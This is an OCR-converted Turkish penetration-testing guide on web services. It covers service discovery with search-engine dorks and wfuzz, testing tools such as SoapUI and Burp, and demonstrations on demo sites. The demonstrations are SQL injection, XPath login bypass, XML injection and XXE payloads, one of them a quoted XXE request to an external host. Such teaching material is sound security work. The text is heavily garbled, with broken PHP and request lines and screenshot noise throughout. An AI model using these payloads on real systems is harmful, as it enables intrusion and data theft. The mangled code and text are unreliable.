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Web Servislerine Yonelik Si1zma Testleri

1 - Web Servisi Nedir ve Ne icin Kullamlir?

Web servis; masausti, web, mobil vb. herhangi bir yazilim tarafindan kullanilmas1 amaclanan,
http protokolu uzerinden erisilen bir servistir.

Istemci tarafindan web servise yapilan istekler sonucu, web servis uygun bir formatta(json,
xml vb.) cevab1 donecektir ve istemci donen bu cevabi alarak diledigi sekilde son kullaniciya
sunacaktir.

ilk olarak, web servis denildiginde akla gelen bazi kavramlara deginilecektir.
SOAP web servis, XML formatinda sunucu ile haberlesmemizi saglamaktadir.

REST web servis, genellikle JSON formatinda fakat XML formatinda da haberlesmeyi
saglayabilmektedir. GET, POST, PUT, DELETE gibi HTTP methodlarini kullanir.

WSDL, SOAP web servisleri icin gerekli tamimlamalar yapan bir dildir ve SOAP web servisler
icin kullamlmasi zorunludur. Fonksiyonlar, veri tipleri, fonksiyon aciklamalar gibi
tanimlamalan kullaniciya sunmaktadir.(Nadiren de olsa REST web servisler icin de kullandig
gorulmustur.)

WADL, tipki WSDL gibi web servis tanimlamalarinin yapildigi bir dildir. Genel olarak REST web
servisler icin kullanilmaktadir.



2 - BGA Olarak Gozlemlediklerimiz

BGA olarak gerceklestirdigimiz sizma testlerinde 6zellikle kurumlarin disariya acik kapilar
olan web uygulamalarini, dis IP bloklarin1 ve web servislerini detayli bir sekilde test ediyoruz.

Yaptigimiz sizma testlerinde, web servis kullamminin giderek arttigini, fakat web servis
gelistirilirken glivenligin yeterince Onemsenmedigi gozlemliyoruz. Bu nedenle, web
servislerinde sik sik kritik guvenlik acikliklar ile karsilasiyoruz.

Bu yazida kullanilan web servislerin tespit edilmesiyle birlikte sik karsilasilan teknik ve
mantiksal acikliklara deginilecektir.



3 - Web Servis Kesfi

Uygulamalarin kullandiklar web servisler,
e Bir proxy yaziimi ile araya girilerek, elde edilen tarafigin incelenmesiyle
e Arama motorlan araciligiyla uygulama lizerinde tespit edilecek farkli agikliklarin
(directory listing, lfi vs.) suistimal edilmesiyle
e crawling, swf/jar benzeri dosyalarin decompile edilmesiyle
e fuzzing testleri araciligiyla
belirlenebilmektedir.

Asagida bir .swf dosyasinin, swf intruder araciyla decompile edilerek, tespit edilen bir web
servis WSDL adresi gorilmektedir.

File Help
Path or URL: http://admin.example.com/example.swf v 5 B Get lSearch & Settings | @ Analyze

\& Sourcy - Search Results [:‘J Properties I*/ Urls ]
4 »

>

private var _10962648calculatedDataSC : ArrayCollection;

private const commonWSDLPath : String = "/ws/common. W2 SDL" ;

private var _1402569653setRTISC : Bocolean = False;

Proxy yaziimlari, uygulamalarin kullandigi web servislerinin tespiti icin kullanilabilmektedir.
Asagida BurpSuite kullanilarak capture edilen trafik lizerinde basit bir filtre ile web servis

adresleri belirlenmesi gosterilmistir. “.dl[?wsdl”, “.ashx?wsdl”, “.exe?wsdl” veya
“.php?wsdl” vb. ifadeler aratilarak da web servisler tespit edilebilir.

({3

Site map | Scope

Filter: Matching expression asmx

w Filter by request type Filter by MIME type Filter by status code Folders
T () Show only in-scope items # HTML ] Other text [ 2xx [success] () Hide empty folders
() Show only requested items ) Script ) Images ) 3xx [redirection)
() Show only parameterized requests # XML [ Flash ) 4xx [requesterror]
() Hide not-found items @ css [ Other binary ) 5xx [server error]
Filter by search term Filter by file extension Filter by annotation
asmx [J Showonly: fasp.aspxjsp,php () Show only commented items
Regex . e .
U Reg (] Hide: j5,9ifjpg,png,css (CJ Show only highlighted items

(] Case sensitive [] Negative search

Show all Hide all

Webservislerin tespit edilebilecegi bir baska yol ise arama motorlan kullanimidir. Google
Uzerinde webservisleri bulabilecegimiz bir payload asagida verilmistir.



Search string: filetype:asmx inurl:(_vti_bin | api | webservice | ws)

| (- | @ https://www.google.com.tr/?gfe_rd=créei=t2ygVY|EDqKz8wiiBKLACQ&gws_rd=ssl#q=filetype:asn ¢ @ Q search () >
Go gle ’ filetype:asmx inurl:(_vti_bin | api | webservice | ws ) “
Web Images Videos News More ~ Search tools

About 182,000 results (0.30 seconds)

here - CalcPrecoPrazoWS Web Service
ws.correios.com.br/calculador/CalcPrecoPrazo.asmx ~

NET, the default namespace can be changed using the WebService attribute's
Namespace property. The WebService attribute is an attribute applied to the class ...

Web_Services Web Service - Mondial Relay
www.mondialrelay.fr/webservice/Web_Services.asmx ~

Web_Services. The following operations are supported. For a formal definition, please
review the Service Description. WSI2_AdressePointRelais.

API| Web Service

https://api.dotmailer.com/api.asmx ~

API| usage is capped at 15,000 API calls per 24 hour period. You may only access this
system when the account you are using has been granted API permission.

EconomicWebService Web Service
https://api.e-conomic.com/secure/api1/EconomicWebService.asmx ~
EconomicWebService. The following operations are supported. For a formal definition,
please review the Service Description. Account_Create. Creates a new ...

Search string: allinurl:dll?wsdl filetype:dll

Google  atinurtdizwsdi filetype:di Q|



here - Registry Logon
https://www.electricityregistry.co.nz/bin.../Jadehttp.dll?...wsdl=wsdl ~

<xml> <dict-id> "Address" </dict-id> <dict-description> "* Event Date; * Physical Address
Unit; * Physical Address Property name; * Physical Address Number; ...

Sybase.PowerBuilder.WebService. WSDL.dIl - catch23-project
code.google.com/p/.../Sybase.PowerBuilder.WebService. WSDL.dII?...

Aug 7, 2012 - Source path: svn/ trunk/ HIS_Client/
Sybase.PowerBuilder.WebService. WSDL.dIl. r12. This file is not plain text (only UTF-8
and Latin-1 text ...

cid-4722d155fb172dbb.office.live.com/selectembed.a...

A description for this result is not available because of this site's robots.txt — learn more.

Retorno de resultados Vista
soap.imo.bi/soap.dll?wsdl ~
Retorno de resultados Vista.

here - NZ Tax Refunds
https://soap.nztaxrefunds.co.nz:8090/.../jadehttp.dll?... wsdl=wsdl ~

here - Digiweb
https://nztr-vps01.digiweb.net.nz:8090/.../jadehttp.dll?...wsdl=wsdl ~

Bing arama motoru iizerinden de asagidaki gibi bir payload ile web servisler tespit edilebilir

Search string: asmx?wsdl site:us

(- @ www.bing.com/search?q=asmx%3Fwsdl+site%3Aus&gs=n&form=QBRE&pq=asmx%3Fwsdl+site ¢ @ Q search

> bing  asmx?wsdi site:us m

Web Images Videos Maps News Explore

53 RESULTS Narrow by language ~ Narrow by region ~

cmbhs.dshs.state.tx.us Related searches

https://embhs.dshs state.tx.us/.../Service/DownloadService.asmx?WSDL Get WSDL from ASMX

Process search client request for match from CMBHS Generate WSDL from URL

. ASMX vs WSDL

sosdirectws.sos.state.tx.us Web Service WSDL

https://sosdirectws.sos.state.tx.us/ucc_ws/uccservice.asmx?wsdl| Webservicex Net USZIP ASMX W$

The Texas Secretary of State UCC Web Services provide a means to file Financing s le Web Service WSDL

Statements (UCC-1) and Amendments (UCC-3) and to submit Information Requests ... ample ¥e er.wce
ASMX Web Service

What is WSDL Soap
www.19thcircuitcourt.state.il.us
www. 19thcircuitcourt.state.il.us/csr/_vti_bin/ExcelService.asmx?WSDL
www. 19thcircuitcourt.state.il.us

Asagidaki orenekte Wfuzz araciyla web servislerinin tespit edilmesi icin gerekli komut

verilmistir.

)

wfuzz -p 127.0.0.1:8080 -c --hc 404,XXX -z list,ws-webservice-webservisler -z




file,../general/common.txt -z file,ws-files.txt http://webservices.example.com/FUZZ/FUZ2ZFUZ3Z

-p parametresi birden fazla proxy kullanarak, yuku dengelemek (loadbalance) icin de
kullanilabilir. Son kullanilan proxy adresi tor networkiine dahil edilmesidir.

-p IP:port-IP:port-1P:8088

Payload type: list,ws-webservice-webservisler; file,../general/common.txt; file,ws-files.txt

Total requests: 54207

ID Response Lines Word Chars Request

500
200
500
200

Burada “http response code” degerleri ile response boyutlarina bakilarak dogru servis adresi
bulunabilir. Yukaridaki ekran goriintiisinden tespit edilen web servisine ait ekran goruntusu
asagida verilmistir:

(- webservices.example.com.com/ws/admin.asmx?wsd! > | @ Searct

</sisequence>
</s:complexType>
</s:element>
— <s:element name="assignUser">
— <s:complexType>
— <s:sequence>

“wsdl” adresleri bazen “?wsdl” seklinde degil “.wsdl” seklinde olabilmektedir. Arama
yaplilirken bunun goz oniinde bulundurulmasi ve bu sekilde de arama yapilmasi
onerilmektedir. Asagida “.wsdl” iceren bir 6rnek verilmistir:

Search String: filetype:wsdl




€ & Adminwsd ~ C | @ Q search

This XML file does not appear to have any style information associated with it. The document tree is shown below.

— <wsdl:definitions targetNamespace=" ">
— <wsdl:documentation>
Contains methods related to administrative functions
</wsdl:documentation>
— <wsdl:types>
— <s:schema elementFormDefault="qualificd" targetNamespace="http://dk.itst">
<s:import namespace=" ">
<s:import namespace=" ">
— <s:element name="RequestAppRegistration">
— <s:complexType>
— <s:sequence>
<s:element minOccurs="0" maxOccurs="1" name="ApplicationName" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
— <s:element name="RequestAppRegistrationResponse">



4 - Web Servislerine Yonelik S1zma Testlerinde Kullanilan Araclar

Web servislerinin kullandig1 metodlara ait parametreler manipiile edilerek cesitli teknik ve
mantiksal acikliklar bulunabilir. Testlerde siklikla karsilasilabilecek web servis cesitleri ve bu
servisler lizerinde testler gerceklestirilirken kullanilabilecek araclar asagida verilmistir.

Owasp Zed Attack Proxy icin SOAP Scanner eklentisi indirilerek SOAP web servis testleri
yapilabilir.

Save Raw Message Allows to save content of HTTP messages as binary
Script Console Supports all JSR 223 scripting languages

Selenium WebDriver provider and includes HtmlUnit browser
SOAP Scanner Imports and scans WSDL files containing SOAP endpoints.
Tips and Tricks Display ZAP Tips and Tricks

WebSockets Allows you to inspect WebSocket communication.

Zest - Graphical Security Scripting Langua... A graphical security scripting language, ZAPs macro language on steroids

URL veya bir WSDL adresi gosterilerek ilgili metodlarin yiiklenmesi saglanabilir.

@ ZAP File Edit View Analyse Report W[LIEE Online Help

@] ® Filter... WASP ZAP 2.4.2
Standardmode [ |||l mm =& Y BrowseAPI b Q% @&
T Encode/Decode/Hash... 8E
Toggle break on all requests #B
JEN (O — Toggle break on all responses X ¥#B .
] s Submit and step to next request or response S Heades: Text
¥ (3 Contexts Submit and continue to next break point 38C
(] Default Context Bin request or response X
v @ M Sites Add a custom HTTP break point... #BA
v | v http://example.com Active Scan... A
viE Rws Spider... &S
v 5 ™ admin.asmx Manual Request Editor... #M
|| ®POST: e (v1.2) Runthe Garbage Collector
| POST: e (v1.1) Manual Send WebSocket Message
| P POST: miversi Fuzz... . o%F
| 4 POST: 2xmlve |mport a WSDL file from local file system |
|| FuPpOST: 1)(<?xn mport a WSDL file from an URL 8J
L1 P POST: 1D options... X %0
upNLT nte (v1 1 £
m ® o Import WSDL file from URL

URL pointing to .wsdl file: | http://example.com/admin.asmx?wsdl
lentAggScore (v1.2)
lentAggScore (v1.1) Import

) (v1.1)(<?xml versi
ool (v1.1)(<?xml version) H



Asagidaki ekran goriintiistinde goriilecegi lizere ilgili web servis lizerindeki tiim metodlar
listelenmistir.

[ BON ] Untitled Session - OWASP ZAP 2.4.2

Standard mode [U]Q]H]-[{‘]I@HJIJ]L\ T BEE  EE @@ Y@ P GIXI-WH

wadiies, -

@ 3 I £ ] = Header: Text
v i Pws ‘
¥ | Madmin.asmx [
| W POST: ore (v1.2)(<?xml version)
| W POST: ore (v1.1)(<?xml version)
| W POST: 'xml version)
| W POST: (<?xml version)
| M POST: 1.1)(<?xml version)
| W POST: ts (v1.1)(<?xml version)
.| M POST: ents (v1.1)(<?xml version)
|| P POST: )(<?xml version)
.| FPOST: 2xml version)
. M POST: (v1.1)(<?xml version)
| W POST: L.1)(<?xml version)
|| M POST: /1.1)(<?xml version)
.| FPOST: I(<?xml version)
| M POST: (v1.1)(<?xml version)
.| FPOST: <?xml version)
|| M POST: 1)(<?xml version)
| P POST: 1Count (v1.1)(<?xml version)
. M POST: 'xml version)
R POST: («2xml version)

Ornek bir request:

Response

Method B Header: Text Body: Text E D e 9 B8 5 @™ Send
POST /ws/admin.asmx HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.9;)
Pragma: no-cache

Cache-Control: no-cache

Content-Length: 276

Content-Type: text/xml; charset=UTF-8

SOAPAction:

Host:

<?xml version="1.0" encoding="UTF-8" 7>
<s11:Envelope xmlns:sll='http://schemas.xmlsoap.org/soap/envelope/ >
<s11:Body>
<nsl:getUserInfo xmlns:nsl="
<nsl:userID>1000</ns1:userID>
</nsl:getUserInfo>
</s11:Body>
</s11:Envelope>

'>

Ornek bir response:




[ JON ) Resend

Header: Text Body: Text = @

HTTP/1.1 200 OK

Cache-Control: private, max-age=0
Content-Type: text/xml; charset=utf-8
Server: Microsoft-I1S/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET

Date: Mon, 16 Nov 2015 15:04:49 GMT
Content-Length: 948

<?xml version="1.0" encoding="utf-8"7?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi=
“http://www.w3.0rg/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.0rg/2001/XMLSchema"><soap:Body><getUserInfoResponse xmlns=

u "><getUserInfoResult><userID>1000</userID><userName>sdadmin</userName><userPassword> </userPassword><
userFirstName> J</userFirstName><userMiddleName>A</userMidd leName><userLastName>SuperUser</userLastName><userPhone> </userPhone><
userContactEmail> 1</userContactEmail><userType>SUPER</userType><userEntrypage /><userlLastLogin>10/12/2015 11:59:00 AM</

userLastLogin><userDateCreated>08/14/2007 01:35:00 PM</userDateCreated><userAdminLevel>1</userAdminLevel><isToolTips>1</isToolTips><isSavedPassword
>1</isSavedPassword><serverMessage>Success</serverMessage></getUserInfoResult></getUserInfoResponse></soap:Body></soap:Envelope>

Bir diger 6rnek olarak, RESTful Web servis testleri icin Firefox RESTClient eklentisi
kullanilabilir. RESTClient eklentisi yardimiyla POST ve GET metodlar kullanilarak hedef
sisteme sorgular yapilabilmektedir. Ayrica basic auth, custom header vb. ilave ozellikleride
mevcuttur.

File Authentication Headers View Favorite Requests Setting RESTCI ient
[-] Request

Method GET v URL | http://www.thomas-bayer.com/sqlrest/ CUSTOMER/1/ * v m J

Body

Request Body

[-] Response

Response Headers Response Body (Raw) Response Body (Highlight) Response Body (Preview)

— <CUSTOMER>
<ID>1</ID>
<FIRSTNAME>Susanne</FIRSTNAME>
<LASTNAME>King</LASTNAME>
<STREET>366 - 20th Ave.</STREET>
<CITY>Olten</CITY>
</CUSTOMER>



Web servis testleri icin kullanilabilecek araclarlarin listesi asagidaki gibidir:
WebScarap
SoapUl
WCFStorm
SOA Cleaner
WSDigger
wsScanner
Wfuzz
RESTClient
BurpSuite
WS-Attacker
ZAP
Metasploit
WSDL Analyzer

AN N N N N N SN NENE NN

Bu araclar icerisinde SoapUl ve BurpSuite araclarinin birlikte kullanilmasi web servis
testlerinde oldukca basarli sonuclar vermektedir.

SoapUl aracinin proxy kullanimina elverisli olmasi, BurpSuite proxy yaziminin da web servis
testlerini de destekliyor olmasi testlerde bu ikilinin tercih sebebi edilmesine sebep
olmaktadir.

Simdi bir ornek lizerinde, web servisini SoapUl ile acarak yaptigimiz istekleri BurpSuite’e nasil
diislirecegimizi gorelim.

SoapUl yazilimini acilarak yeni bir web SOAP projesi baslatilir. “Initial WSDL” bolumune hedef
WSDL adresi yazilir. (Bu ornek icin http://zero.webappsecurity.com/web-
services/infoService?wsdl adresinde bulunan ve vulnerable bir sistem olan bir web servis
kullanilacaktir.)

v I S =
E B B - H ~ o ol 2 Search Forum 9
Empty SOAP  REST  Import SaveAll  Forum  Trial  Preferences  Proxy Online Help

Projects

Navigator
1010edsu

[ ] [ ] New SOAP Project

New SOAP Project {%}
Creates a WSDL/SOAP based Project in this workspace

Project Name: zero.webappsecurity

Initial WSDL: zero.webappsecurity.com/web-services /infoService?wsdl| Browse...
Create Requests: Create sample requests for all operations?
Create TestSuite Creates a TestSuite for the imported WSDL

Relative Paths: Stores all file paths in project relatively to project file (requires save)

(7) L OK Cancel




Asagidaki resimde goriildiigi lizere web servis basanli bir sekilde iceri aktarilabilmistir. SoapUl
verilen WSDL adresini cozimleyerek web servise ait fonksiyonlar ve istekleri olusturmustur.

@ SoapUl-5.2.1 File Project Su
® _©o
E B B X O

Empty SOAP REST Import Save All

Projects
v B zero.webappsecurity

MNavigator

|

7~ addAccount

7> addUser

7~ closeAccount

7> downloadStatementByName
7 findAccountsByUser

7 findAllUsers

7~ findStatementsByAccountAnd)\
7 findTransactionsByAccount
7 getAccountByld

7> isUserEnabled

7> searchForTransactions

7 searchForUsers

7> transferFunds

vvvvvvvvvvvvvf;

“File -> Preferences” yolunu takip ederek “Proxy Settings” bolumune ve BurpSuite ile actilan
arayuze(interface) ait bilgileri(ip:port) girilir.



@ SoapUl-5.2.1 File Project Suite Case Step Tools Desktop Help
0 e SoapUl Preferences

m @ SoapUl Preferences

Empty  SOAP  REST Set global SoapUl settings
> proj D :
i Projects w | | Proxy Setting: Automatic
Z v B zero.webappsecur @ ) None
? v 2= InfoServiceSoap £ © Manual
v 72 addAccoun : )
5o Frv [ || Host 192.168.1.2
AP
~ =t
» o addUser Port: 8080
» 7 closeAccou
» 7> downloadSt Excludes:
» 7 findAccount |
o
» 7 findAllUser! E
» O findStateme | Usemame:
~,
» © findTransa g Password:
» 7 getAccountl £
» 7 isUserEnab
» > searchForT|

Daha sonrasinda herhangi bir fonksiyon kullanildiginda BurpSuite’in basarili bir sekilde araya
girerek istegi yakaladig1 goriilmektedir.

Burp Intruder Repeater Window Help

[Target T Proxy T Spider I Scanner T Intruder T Repeater TSequencer T Decoder TComparer I Extender TOptions TAIerts ]

jlnterceptT HTTP history TWebSockets history T Options ]

EJ Request to http://zero.webappsecurity.com:80 [198.90.21.104)

| Forward J L Drop J [ Intercept is on ] ( Action J

I Raw | Params THeaders Hex | XML ]

POST fweb-servicea/infoService HTTP/Ll.1

Accept-Encoding: gzip,deflate

Content-Type: text/xml;charaet=uTF-8

sOAPAction: "http://www.hp.com/webinapact/zerowa/cloaeaccount"
Content-Length: 321

Hoat: zero.webappasecurity.com

User-Agent: Apache-HttpClient/d.l.1l (jawva 1.5)

Connection: cloae

<acapenv:Envelope xmlna:acapenv="http://achemasa.xmlacap.org/acap/envelope/" xmlna:zer="http:/ /www.hp.com/webinapact/zerowa">
<aocapenv:Header />
<soapenv:i:Body>
<zer:closehccount>
<]--Optional:-->
<zer:accountId>l</zer:accountId>
</zericlosehccount>
</aoapenviBody>
</soapenv:Envelope>



5 - Web Servislerine Yonelik S1zma Testlerinde Karsilasilan
Lafiyetler

Bu béliimde web servis testlerinde karsilasilan zafiyetlere deginilecektir.

Web servis testleri yaparken bilinen ve meydana gelebilecek tum web uygulama zafiyetlerinin
testleri yapilmalidir.

Ornegin; bir web uygulamasinda kesfedilen “Kullanic1 Hesaplarimin Tahmin Edilebilmesi(User
Enumeration)” veya “Yerel Dizin ifsasi(Full Path Disclosure)” bulgularina bir web servis
icerisinde de rastlanilabilmektedir.



5.1 - Web Servislerde Injection Zafiyetleri

5.1.1 - SQL Injection Zafiyetleri

Web servislerine yonelik sizma testlerinde karsilasilan SQL Injection(SQLi) zafiyetlerinin
normal web testlerinde karsilasilandan bir farki yoktur.

Web servislerine ait tum fonksiyonlarin tim parametreleri detayl bir sekilde incelenerek,
SQLi zafiyetinden etkilenip etkilenmedigi kontrol edilmelidir.

SQLi zafiyeti icin http://www.thomas-bayer.com/sqlrest/ adresinde bulunan ve vulnearable
bir sistem olan RESTful web servisi ornek olarak kullanilacaktir. SQLi zafiyetinin tespiti icin
Firefox Uzerindeki RESTClient eklentisi kullanilcaktir.
http://www.thomas-bayer.com/sqglrest/CUSTOMER/Sid adresinde id parametresi yerine baz
SQLi payloadlan gonderilecek ve donen cevaplar yorumlanacaktir.

Sid yerine herhangi bir numerik deger yazildiginda(1,2,3 vb.) veritabanindan bir kullanici
bilgisinin geldigi goriilmektedir. Ornegin 23 degeri gonderildiginde asagidaki cevabin geldigi
gorilmustar.

Method  GET v URL | http://www.thomas-bayer.com/sqlrest/ CUSTOMER/23 * v m

Body

hotkey: b

‘ .
Response Headers ~ Response Body (Raw) | Response Body (Highlight) = Response Body (Preview)

- <CUSTOMER>
<ID>23</ID>
<FIRSTNAME>Julia</FIRSTNAME>
<LASTNAME>Heiniger</LASTNAME>
<STREET>358 College Av.</STREET>
<CITY>Boston</CITY>
</CUSTOMER>

23 yerine asagidaki payload yazilarak istek yapilmis ve asagidaki gibi bir cevabin dondiigii
gorulmustar.

Payload: 23 AND 1=1
http://www.thomas-bayer.com/sglrest/CUSTOMER/23%20AND%201=1/




Method ' GET v URL ntip: w.thomas-b: ql USTOMER/23%20AND%201=1 * v SEND
Body
[-] Response
Response Headers Response Body (Raw) Response Body (Highlight) Response Body (Preview)
hotkey: 2
- <CUSTOMER>
<ID>23</ID>

<FIRSTNAME>Julia</FIRSTNAME>

<LASTNAME:>Heiniger</LASTNAME>

<STREET>358 College Av.</STREET>

<CITY>Boston</CITY>
</CUSTOMER>

Herhangi bir hata sayfasi ile karsilasilmamis ve SQL tarafindaki mantiksal islemin
gerceklestirilmis oldugu goriilmektedir.

Payload olarak asagidaki payload kullanildiginda ise hata sayfasi ile karsilasilmaktadir.

Payload: 23 AND 1=0
http://www.thomas-bayer.com/sqglrest/CUSTOMER/23%20AND%201=0

Method  GET v URL | hitp://www.thomas-bayer.com/sqlrest/CUSTOMER/23%20AND%201=0 v SEND
Body

[-] Response
Response Headers Response Body (Raw) Response Body (Highlight) Response Body (Preview)

HTTP Status 404 - Resource not found

type Status report
message Resource not found

description The requested resource is not available.

Apache Tomcat/7.0.52 (Ubuntu)

SQL sorgusu kosulunu saglamayan bir payload gonderildigin de 404 cevabini verdigi fakat
saglayan bir payload gonderildiginde ise basarili bir sekilde cevabi getirdigi gorilmdistiir.

Son olarak asagidaki payload gonderilmis ve sistem iizerindeki tiim kullanici isimleri, donen
cevap icerisinde gorintulenmistir.

Payload: 23 OR 1=1
http://www.thomas-bayer.com/sglrest/CUSTOMER/23%200R%201=1




Method  GET v URL | http://www.thomas-bayer.com/sqlrest/CUSTOMER/23%200R%201=1 * v m

Body

Response Headers | Response Body (Raw) | Response Body (Highlight)y | Response Body (Preview)

— <CUSTOMER>
<ID>0</ID>
<FIRSTNAME>Laura</FIRSTNAME>
<LASTNAME>Steel</LASTNAME>
<STREET>429 Seventh Av.</STREET>
<CITY>Dallas</CITY>
<ID>1</ID>
<FIRSTNAME>Susanne</FIRSTNAME>
<LASTNAME>King</LASTNAME>
<STREET>366 - 20th Ave.</STREET>
<CITY>Olten</CITY>
<ID>2</ID>
<FIRSTNAME>Anne</FIRSTNAME>
<LASTNAME>Miller</LASTNAME>
<STREET>20 Upland Pl.</STREET>
<CITY>Lvon</CITY>

Bu sekilde manuel olarak SQLi tespiti icin hedef sisteme ilk olarak asagidaki gibi basit
payloadlar gonderilerek gelen yanitlar incelenip, ilgili fonksiyonun SQLi zafiyetini barindirip
barindirmadigi kanaatine vanlabilir.

5.1.2 - XPath Injection Zafiyetleri

XPath, sunucu tarafinda XML formatinda saklanan veriler lizerinde sorgulama islemi
yapilmasini saglayan dildir.

string(//user[username/text()="bga’ and password/text()='bga’]/account/text())

Ornegin, yukandaki resimde bir XPath sorgusu verilmistir. Bu sorguda kullanilan girdi alanina
1’ and ‘1’="1 ve 1’ and ‘1’=’2 payloadi gonderilerek yorumlandiginda, mantiksal islemin
saglandig1 durumda “TRUE” yamtinin dondiigi fakat saglanmadigi durumda “FALSE” yanitinin
dondiigi goriilecektir.

Ornek olarak, https://github.com/snoopythesecuritydog/dvws/ uygulamasi tizerindeki XPATH
Injection zafiyeti somurulecektir.

Gelistiricinin asagidaki gibi bir PHP kodunu yazdig1 goriilmektedir.



(isset($_REQUEST["login"]) & isset($_REQUEST["password"]))

$login - $_REQUEST["login"];
$password - $_REQUEST["password"];

$xml = simplexml_load_file("accountinfo.xml");

$result - $xml -xpath("/users/user[login= $login and  password= $password- . -"']");

($result)

$message "<br>Accepted User: <b>" . ucwords($result[@]->login) . "</b><br>Your Account Number: <b>" . $result[@]--accountd . "</b>";
echo $message;

$message - "Your supplied credentials are invalid!";
echo $message;

Kod icerisinde okumus oldugu “accountinfo.xml” dosyasinin icerigi ise asagidaki gibidir:

5



o accountinfo.xml ) No Selection

<?xml version="1.08" encoding="UTF-8"7>
<users>
<users>
<id>1</id>
<login=admin</login>
<password>$tr@ngpasswlrd</password=>
<accountd=06578368643</accountd>
<country=United States</country>
<birthday=19th March 1980</birthday=>
</user>
<users>
<id>2</id>
<login=sam</login=>
<password>qwertyl23</password>
<accountd=01768765643</accountd>
<country=United Kingdom</country=
<birthday=25th September 1989</birthday>
</user>
<users>
<id>3</id>
<login=matthew</login>
<password>=Avengers</password>
<accountd=09898765463</accountd>
<country=Italy</country>
<birthday=1st April 1976</birthday>
</user>
<users>
<id=4</id>
<login>nik</login>
<password>Windows7!</password>
<accountd=08978656453</accountd>
<country=China</country=>
<birthday=15th May 198@</birthday=>
</user>
<users>
<id>5</id>
<login=johnny</login>
<password=andr@idtest</password>
<accountd=01787564563</accountd=>
<country=Australia</country=
<birthday=12th January 1991</birthday>
</user>
<users>
<id>6</id>
<login>mike</login>
<password>newus564</password>
<accountd=18987657654</accountd=>
<country=Underworld</country>
<birthday=9th Jne 1993</birthday>
</user>

Sayfaya “bga:1234” kimlik bilgileri ile giris yapmaya calistigimizda asagidaki gibi bir hata ile
karsilasmaktayiz.



€ P local.host/dvws/vulnerabilities/xpath/xpath.php?login= bgaipassword=test&form=submit wBe ¥ A S

XPATH Injection

XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query
Setup instructions or navigate XML documents,

About

PHP Information

7005/XPath%20Injection

Vulnerabilities

SDL Enumeration The below login form is using XPath to query an XML document and retrieve the account number of a user whose name and password are received from
the browser.

User Login:

XML External Entity Injection bga

XPATH Iniection User Password:
soce

Command Injection
(:submit |

Your supplied credentials are invalid!

Fakat kimlik bilgilerindeki kullanici adi ve sifre icin 1" or '1" = '1 payloadi yazildiginda basarili
bir sekilde giris yapilabildigi goriilmektedir.

€ pF local.host lInerabilities/xpath/xpath.phpZlogin=1'+or+'1'+ %3D+ '1&password=1'+or+'1'+ %3D+ 1 &form=submit Arama vE & A

XPATH Injection

XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query
Setup instructions or navigate XML documents

PHP Information More Information

y R
Vulnerabilities XPATH_Injection

The below login form is using XPath to query an XML document and retrieve the account number of a user whose name and password are received from
the browser.

User Login:
XML External Entity Injection Tort =1
XPATH Injecti User Password:

Command Injection

Submit
e Tracing (XS
Accepted User: Admin
Server Side Request Forge Your Account Number: 06578368643

5.1.3 - XML Injection Zafiyetleri

XML formatinda gonderilen veri icerisine XML diigiimleri eklenilmesi ve sunucu tarafindan
gelecek olan XML cevabin maniplle edilmesi islemidir.

Input: 2

<product>
<name>Computer</name>




<count>2</count>
<price>2005</price>
</product>

Ornegin, yukanda sunucuya gonderilen girdi degerinin cevap icerisinde count diigiimiinde
yazdig1 goriilmektedir.

Bu girdi degeri asagidaki gibi degistirildiginde price degerinin manipiile edildigi goriilmektedir.

Input: 2</count><price>0S</price></product>

<product>
<name>Computer</name>
<count>2</count><price>0$</price></product>

5.1.4 - XXE Atag

Olusturulan XML entity’nin bir XML diigiim icerisinde okunmasi amaciyla ¢agirilmasi
durumunda bu zafiyet tetiklenmektedir. Dosya okuma islemi gerceklestirilirken entity’e bir
adres(url) verilmektedir. XML’in sagladig1 bu kolaylik kullanilarak local dosyalarin okunma
islemi gerceklestirilebilmektedir.

Gonderilen XML payload 6rnegi asagidaki gibidir:

<?xml version="1.0" encoding="ISO-8859-1"7>
<IDOCTYPE foo [
<IELEMENT foo ANY >
<IENTITY xxe SYSTEM “file:///dev/random” >]><foo>&xxe;</foo>

Bir giivenlik arastirmacisinin QIWI.ru’nun SOAP web servisi lizerinde kesfettigi XXE zafiyeti
ornek olarak incelenecektir.

(Zafiyeti detayli olarak anlatan rapora https://hackerone.com/reports/36450 adresinden
erisilebilir.)

Senaryo geregi saldirgan https://send.qiwi.ru/soapserver adresine yaptig1 asagidaki istek ile
istedigi bir web sayfasinin kaynak kodlarin1 donen cevap icerisine eklemektedir.

POST /soapserver/ HTTP/1.1

Host: send.qiwi.ru

Content-Type: application/x-www-form-urlencoded
Content-Length: 254




<?xml version="1.0" encoding="UTF-8"7><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM
"https://bitquark.co.uk/?xxe">]>
<SOAP-ENV:Envelope>
<SOAP-ENV:Body>
<getStatus>
<id>&xxe;</id>
</getStatus>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

XXE atag ile ilgili daha fazla bilgi icin asagidaki adres ziyaret edilebilir:
http://blog.bga.com.tr/2014/02/xxe-xml-external-entity-guvenlik.html




5.2 - Web Servislerinde Kontrol Zafiyetleri

5.2.1 - Yetkisiz Erisim Zafiyetleri

Yapilan sizma testlerinden elde edilen istatiklere bakildiginda, yetkisiz erisim zafiyetine web
servislerinde cok daha fazla rastlanildigini goriilmdistiir. Bunun temel sebebi gelistiricinin bir
saldirgan olarak diisiinmemesi ve web servisin giivenli bir ortam oldugunu zannetmesidir.

Bu zafiyetin oniline gecmek icin, isteklerin bir token degerine bagli olarak yapilmasi
gerekmekte veya her istek icin username ve password gibi bilgilerin sunucuya gonderilmesi
gerekmektedir.

Web servisin sahip oldugu tiim fonksiyonlar icin kullanici oturumunun saglanmasi
gerekmektedir.

5.2.2 - Fonksiyonlarin Limitsiz Kullanimi

Cok karsilasilan, digre bir zafiyet ise web servise ait fonksiyonlarin limitsiz olarak
kullanilmasidir. Bunlar baslica asagidaki zafiyetlere sebebiyet vermektedir.

- Kaba kuvvet saldinsi

- Veritabaninin doldurarak servis dis1 birakilmasi

- Kullaniciya sunulan haklarin disunulenden fazla kullanilmasi

